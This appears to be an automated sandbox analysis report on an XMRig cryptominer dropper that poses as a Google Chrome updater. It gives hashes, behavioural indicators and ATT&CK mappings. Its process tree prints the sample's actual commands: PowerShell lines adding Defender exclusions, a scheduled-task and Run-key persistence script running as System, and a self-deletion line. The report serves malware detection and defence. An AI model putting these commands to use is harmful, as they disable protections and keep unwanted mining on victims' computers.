xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
457s
max time network
1785s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2144 created 1096	2144	M8xUNW42QxTLMRXN.exe	17
PID 2144 created 1096	2144	M8xUNW42QxTLMRXN.exe	17
PID 2144 created 1096	2144	M8xUNW42QxTLMRXN.exe	17
PID 2144 created 1096	2144	M8xUNW42QxTLMRXN.exe	17
PID 3052 created 1096	3052	updater.exe	17
PID 3052 created 1096	3052	updater.exe	17
PID 3052 created 1096	3052	updater.exe	17
PID 3052 created 1096	3052	updater.exe	17
PID 1448 created 1096	1448	conhost.exe	17
PID 3052 created 1096	3052	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral19/memory/2264-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral19/memory/2264-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2580	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3052	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2896	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral19/memory/2264-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral19/memory/2264-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3052 set thread context of 1448	3052	updater.exe	45
PID 3052 set thread context of 2264	3052	updater.exe	47

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2736	schtasks.exe
2884	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1076	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30ec28573151da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2144	M8xUNW42QxTLMRXN.exe
2144	M8xUNW42QxTLMRXN.exe
2708	powershell.exe
2144	M8xUNW42QxTLMRXN.exe
2144	M8xUNW42QxTLMRXN.exe
2816	powershell.exe
2144	M8xUNW42QxTLMRXN.exe
2144	M8xUNW42QxTLMRXN.exe
2144	M8xUNW42QxTLMRXN.exe
2144	M8xUNW42QxTLMRXN.exe
2560	powershell.exe
3052	updater.exe
3052	updater.exe
2280	powershell.exe
3052	updater.exe
3052	updater.exe
1796	powershell.exe
3052	updater.exe
3052	updater.exe
3052	updater.exe
3052	updater.exe
1448	conhost.exe
1448	conhost.exe
3052	updater.exe
3052	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeDebugPrivilege	3052	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1076	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1076	WMIC.exe
Token: SeSecurityPrivilege	1076	WMIC.exe
Token: SeTakeOwnershipPrivilege	1076	WMIC.exe
Token: SeLoadDriverPrivilege	1076	WMIC.exe
Token: SeSystemtimePrivilege	1076	WMIC.exe
Token: SeBackupPrivilege	1076	WMIC.exe
Token: SeRestorePrivilege	1076	WMIC.exe
Token: SeShutdownPrivilege	1076	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1076	WMIC.exe
Token: SeUndockPrivilege	1076	WMIC.exe
Token: SeManageVolumePrivilege	1076	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1076	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1076	WMIC.exe
Token: SeSecurityPrivilege	1076	WMIC.exe
Token: SeTakeOwnershipPrivilege	1076	WMIC.exe
Token: SeLoadDriverPrivilege	1076	WMIC.exe
Token: SeSystemtimePrivilege	1076	WMIC.exe
Token: SeBackupPrivilege	1076	WMIC.exe
Token: SeRestorePrivilege	1076	WMIC.exe
Token: SeShutdownPrivilege	1076	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1076	WMIC.exe
Token: SeUndockPrivilege	1076	WMIC.exe
Token: SeManageVolumePrivilege	1076	WMIC.exe
Token: SeLockMemoryPrivilege	2264	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2816 wrote to memory of 2736	2816	powershell.exe	32
PID 2816 wrote to memory of 2736	2816	powershell.exe	32
PID 2816 wrote to memory of 2736	2816	powershell.exe	32
PID 2580 wrote to memory of 2456	2580	cmd.exe	33
PID 2580 wrote to memory of 2456	2580	cmd.exe	33
PID 2580 wrote to memory of 2456	2580	cmd.exe	33
PID 2560 wrote to memory of 2872	2560	powershell.exe	38
PID 2560 wrote to memory of 2872	2560	powershell.exe	38
PID 2560 wrote to memory of 2872	2560	powershell.exe	38
PID 2896 wrote to memory of 3052	2896	taskeng.exe	40
PID 2896 wrote to memory of 3052	2896	taskeng.exe	40
PID 2896 wrote to memory of 3052	2896	taskeng.exe	40
PID 1796 wrote to memory of 2884	1796	powershell.exe	53
PID 1796 wrote to memory of 2884	1796	powershell.exe	53
PID 1796 wrote to memory of 2884	1796	powershell.exe	53
PID 3052 wrote to memory of 1448	3052	updater.exe	45
PID 1484 wrote to memory of 1076	1484	cmd.exe	48
PID 1484 wrote to memory of 1076	1484	cmd.exe	48
PID 1484 wrote to memory of 1076	1484	cmd.exe	48
PID 3052 wrote to memory of 2264	3052	updater.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1096
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2736
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2884
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1448
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1484
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1456

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2456

C:\Windows\system32\taskeng.exe
taskeng.exe {327C3F1A-82E9-4AD4-96D5-B40A6EE4836C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3052

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
255KB

MD5
336f70010d2d561f2dcc02e90f2212f6

SHA1
9279df3dd6027013a0e976255477a2a7d72580d6

SHA256
05e6a5e4407d2ea7f2ad4f9f152320827562af8a49f16d896e484bcdaeab3e5b

SHA512
eec5f6ac743390f0a3e37bc14e73ce1392d281d3e65b83588ce83e9368fcbb041f1c796ec9732a229bd6449354414ad6b3b06b2b34eb6272ddad164130cc42ae

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
198KB

MD5
2ea8e6fe58868c32eb72780585491aba

SHA1
80d46a3eb28e47a5ca0ce179775dbd2c6f2d693d

SHA256
7632a22a6cc9a2f7206c510684e6f35464cb9e805cf552573a94764abc34c12b

SHA512
af0ec88550758aca6732dd8201fc4f82fa63766a8f51d2ee90e1026abb56fa50fca6c16a511d6d66827a29f216e40737ab10d533665115845d51b353f915fc40

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d82dcc60a73e0949ee3bfa0db8404036

SHA1
1835ab7716fdd4c4bb4274fc26bcbf39347b4a91

SHA256
c1778e2cdd5009a590bd7effd9ed22e46d6dd8082d2a80d4d9d04fb694b3b8b4

SHA512
31e9ec645ef7e41ad29708e69a547955701e227be81ffd867bac8490daaebb0e6ac4a1b1eef9dac11a196f6442e0594038aca1cea1a8f946b21c6368a0609644

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
183KB

MD5
5e8e2b78b0a89d704556603d7a12d469

SHA1
893a84aed55f7eb19d3006edc94fd19dfa5df080

SHA256
c43250c3293509a535786a6cf7ba1e99faaf3e45fb48b895430459c5f0bdfc10

SHA512
907fbf510696bf9c2107d8d887a7167b9659f7d84cfd8b1510e0d3cc53829a06308523eac4c1b24ce78b219e2a4b35ac62a10f586dacaa3558cc04988ce35de0

Download Submit
memory/1448-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1448-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1796-53-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1796-57-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1796-56-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1796-55-0x00000000008F0000-0x0000000000970000-memory.dmp

Filesize
512KB

Download
memory/1796-58-0x000007FEF5310000-0x000007FEF5CAD000-memory.dmp

Filesize
9.6MB

Download
memory/1796-54-0x000007FEF5310000-0x000007FEF5CAD000-memory.dmp

Filesize
9.6MB

Download
memory/1796-52-0x000007FEF5310000-0x000007FEF5CAD000-memory.dmp

Filesize
9.6MB

Download
memory/2144-28-0x000000013F1A0000-0x000000013F3B1000-memory.dmp

Filesize
2.1MB

Download
memory/2144-0-0x000000013F1A0000-0x000000013F3B1000-memory.dmp

Filesize
2.1MB

Download
memory/2264-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-66-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2264-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-75-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2264-74-0x0000000000370000-0x0000000000390000-memory.dmp

Filesize
128KB

Download
memory/2264-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2264-68-0x0000000000370000-0x0000000000390000-memory.dmp

Filesize
128KB

Download
memory/2264-69-0x0000000000810000-0x0000000000830000-memory.dmp

Filesize
128KB

Download
memory/2280-47-0x000007FEF4970000-0x000007FEF530D000-memory.dmp

Filesize
9.6MB

Download
memory/2280-45-0x000007FEF4970000-0x000007FEF530D000-memory.dmp

Filesize
9.6MB

Download
memory/2280-46-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/2280-50-0x000000000146B000-0x00000000014D2000-memory.dmp

Filesize
412KB

Download
memory/2280-49-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/2280-51-0x000007FEF4970000-0x000007FEF530D000-memory.dmp

Filesize
9.6MB

Download
memory/2280-48-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/2560-40-0x000007FEF5310000-0x000007FEF5CAD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-39-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2560-35-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2560-34-0x000007FEF5310000-0x000007FEF5CAD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-36-0x000007FEF5310000-0x000007FEF5CAD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-38-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2560-37-0x0000000002900000-0x0000000002980000-memory.dmp

Filesize
512KB

Download
memory/2708-8-0x0000000002A60000-0x0000000002AE0000-memory.dmp

